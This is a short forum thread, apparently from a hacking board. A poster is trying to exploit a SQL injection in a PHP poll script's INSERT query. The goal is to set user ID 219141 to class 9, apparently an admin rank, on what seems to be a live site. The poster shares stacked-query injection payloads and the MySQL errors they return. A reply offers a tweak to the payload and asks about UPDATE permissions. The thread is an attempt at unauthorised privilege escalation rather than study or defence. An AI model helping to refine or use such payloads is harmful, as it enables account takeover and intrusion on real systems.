Hi, I'm trying to inject into this query
| Code: |
mysql_query("INSERT INTO pollanswers VALUES(0, $pollid, $userid, $choice)") or sqlerr(); |
all the php variables except $choice are irrelevant and for example's sake we can pretend they all are 1.
The server is running MySQL.
I have control over the $choice parameter
and my goal is to execute this query
| Quote: | | UPDATE USERS SET CLASS=9 WHERE ID=219141 |
I came up with something like this:
| Quote: | | 3); UPDATE USERS SET CLASS=9 WHERE ID=219141;-- |
but I get this error
| Quote: | SQL Error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE USERS SET CLASS=9 WHERE ID=219141;--)' at |
It seems like /* and -- do nothing and I'm left with an extra )
So I came up with this
| Quote: | | 3); UPDATE USERS SET CLASS=9 WHERE ID=(219141 |
And now I get THIS error
| Quote: | SQL Error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE USERS SET CLASS=9 WHERE ID=(219141)' at line 1 |
Now I'm stumped, what am I doing wrong? |

Did you try not yo use the semi-colon?
instead maybe use ID=219141-- only
And how do you know you have update permission? |
